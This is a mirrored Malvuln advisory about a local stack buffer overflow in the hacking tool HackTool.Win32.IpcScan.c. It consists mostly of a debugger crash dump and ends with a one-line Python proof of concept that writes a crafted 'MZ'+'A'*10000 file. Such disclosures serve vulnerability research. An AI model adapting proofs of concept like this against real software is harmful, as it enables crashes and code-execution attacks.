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Edit Report

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022040056

Below is a copy:

HackTool.Win32.IpcScan.c / Local Stack Buffer Overflow
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/8f44374d587eb1657d25da9628cb2b87.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: HackTool.Win32.IpcScan.c
Vulnerability: Local Stack Buffer Overflow
Description: Loading a specially crafted PE file will cause a stack buffer overflow overwriting the ECX and EIP registers.
Family: IpcScan
Type: PE32
MD5: 8f44374d587eb1657d25da9628cb2b87
Vuln ID: MVID-2022-0549
Disclosure: 04/14/2022

Memory Dump:
(d60.c9c): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=00000000 edi=00000000
eip=41414141 esp=000a13f0 ebp=000a1410 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210246
41414141 ??              ???

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for HackTool.Win32.IpcScan.c.8f44374d587eb1657d25da9628cb2b87.exe
*** ERROR: Module load completed but symbols could not be loaded for HackTool.Win32.IpcScan.c.8f44374d587eb1657d25da9628cb2b87.exe
Matched: 744f0021 msvcrt!ReadString (void)
Matched: 744f4491 msvcrt!ReadString (void)
Matched: 744faf90 msvcrt!ReadString (void)
Matched: 744fbf79 msvcrt!ReadString (void)
Matched: 744ffe60 msvcrt!ReadString (void)
Matched: 745010d1 msvcrt!ReadString (void)
Matched: 7450e2b4 msvcrt!ReadString (void)
Matched: 7450f52e msvcrt!ReadString (void)
Matched: 745119d4 msvcrt!ReadString (void)
Matched: 74512d75 msvcrt!ReadString (void)

FAULTING_IP: 
msvcrt!ReadString+12f
7450e3e3 8801            mov     byte ptr [ecx],al

EXCEPTION_RECORD:  0019ec24 -- (.exr 0x19ec24)
ExceptionAddress: 7450e3e3 (msvcrt!ReadString+0x0000012f)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 001a0000
Attempt to write to address 001a0000

PROCESS_NAME:  HackTool.Win32.IpcScan.c.8f44374d587eb1657d25da9628cb2b87.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141 

FOLLOWUP_IP: 
+12f
41414141 ??              ???

FAILED_INSTRUCTION_ADDRESS: 
+12f
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  0019ec74 -- (.cxr 0x19ec74)
eax=00000041 ebx=00000020 ecx=001a0000 edx=0019f18c esi=0019f15c edi=0019f180
eip=7450e3e3 esp=0019f0d4 ebp=0019f0f8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210246
msvcrt!ReadString+0x12f:
7450e3e3 8801            mov     byte ptr [ecx],al          ds:002b:001a0000=41
Resetting default scope

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 7450f0b8 to 7450e3e3

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

STACK_TEXT:  
0019f0d4 7450e3e3 msvcrt!ReadString+0x12f
0019f100 7450f0b8 msvcrt!_input_l+0xab8
0019f310 745030e0 msvcrt!vfscanf+0xe0
0019f358 74502fcb msvcrt!fscanf+0x1b
0019f374 00402b98 hacktool_win32_ipcscan_c+0x2b98
0019f380 0019f394 unknown!unknown+0x0


STACK_COMMAND:  .cxr 000000000019EC74 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 19f0d4 ; kb

SYMBOL_NAME:  msvcrt!ReadString

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: msvcrt

IMAGE_NAME:  msvcrt.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  692918b7

FAILURE_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_msvcrt.dll!ReadString

BUCKET_ID:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_msvcrt!ReadString


Exploit/PoC:
python -c "print('MZ'+'A'*10000)" > DOOM.exe

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